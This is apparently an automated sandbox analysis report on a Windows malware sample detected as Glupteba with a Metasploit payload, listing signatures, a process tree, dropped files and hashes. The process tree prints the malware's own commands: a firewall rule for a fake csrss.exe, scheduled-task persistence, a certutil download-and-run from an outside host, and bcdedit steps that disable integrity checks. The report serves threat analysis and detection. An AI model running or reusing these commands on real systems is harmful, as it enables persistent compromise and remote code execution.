Analysis

  • max time kernel
    147s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    15-08-2024 13:34

General

  • Target

    9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    9a3cade87f931cf57055b3d15f4f8333

  • SHA1

    a5b0cd9e17d1f1fce3a1734b33c216602ea50073

  • SHA256

    12f7f2bd2f6e7c047387fe38c981032f867ce7c55f1d9a59fe0897876ac8c56c

  • SHA512

    7437d8e34083e05a118af71b39809a35afb0492af5bf28bf393f43d318985ef0c19f62583b67f38869a38ea0621ecfbd1c630223c48a10d43a2c277b417bf3e0

  • SSDEEP

    98304:HHEqstCEkXltlyU7v+B9VrnPXN+Nxozea9jnzn:HFst0X9N6VrnPXkeqaR

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2692
    • C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9a3cade87f931cf57055b3d15f4f8333_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:1728
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:976
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1384
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1948
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2328
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1240
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1772
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3016
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2248
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2556
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2212
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1932
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1620
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1736
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2020
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2844
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1564
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2860
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2836
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2736
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240815133441.log C:\Windows\Logs\CBS\CbsPersist_20240815133441.cab
    1⤵
    • Drops file in Windows directory
    PID:2204

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

    Filesize

    8.3MB

    MD5

    fd2727132edd0b59fa33733daa11d9ef

    SHA1

    63e36198d90c4c2b9b09dd6786b82aba5f03d29a

    SHA256

    3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

    SHA512

    3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

    Filesize

    492KB

    MD5

    fafbf2197151d5ce947872a4b0bcbe16

    SHA1

    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

    SHA256

    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

    SHA512

    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

  • C:\Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    9a3cade87f931cf57055b3d15f4f8333

    SHA1

    a5b0cd9e17d1f1fce3a1734b33c216602ea50073

    SHA256

    12f7f2bd2f6e7c047387fe38c981032f867ce7c55f1d9a59fe0897876ac8c56c

    SHA512

    7437d8e34083e05a118af71b39809a35afb0492af5bf28bf393f43d318985ef0c19f62583b67f38869a38ea0621ecfbd1c630223c48a10d43a2c277b417bf3e0

  • memory/976-109-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-111-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-107-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-21-0x00000000010D0000-0x0000000001478000-memory.dmp

    Filesize

    3.7MB

  • memory/976-108-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-76-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-110-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-106-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-112-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-113-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-57-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-114-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-70-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-71-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/976-75-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/2328-41-0x0000000000740000-0x0000000000D28000-memory.dmp

    Filesize

    5.9MB

  • memory/2328-27-0x0000000000610000-0x0000000000BF8000-memory.dmp

    Filesize

    5.9MB

  • memory/2328-58-0x0000000000610000-0x0000000000BF8000-memory.dmp

    Filesize

    5.9MB

  • memory/2692-5-0x0000000000E10000-0x00000000011B8000-memory.dmp

    Filesize

    3.7MB

  • memory/2692-0-0x0000000000E10000-0x00000000011B8000-memory.dmp

    Filesize

    3.7MB

  • memory/2692-1-0x0000000000E10000-0x00000000011B8000-memory.dmp

    Filesize

    3.7MB

  • memory/2692-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/2692-2-0x00000000011C0000-0x00000000019C4000-memory.dmp

    Filesize

    8.0MB

  • memory/2692-6-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/2692-7-0x00000000011C0000-0x00000000019C4000-memory.dmp

    Filesize

    8.0MB

  • memory/2824-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/2824-8-0x00000000010B0000-0x0000000001458000-memory.dmp

    Filesize

    3.7MB

  • memory/2824-9-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/2824-10-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB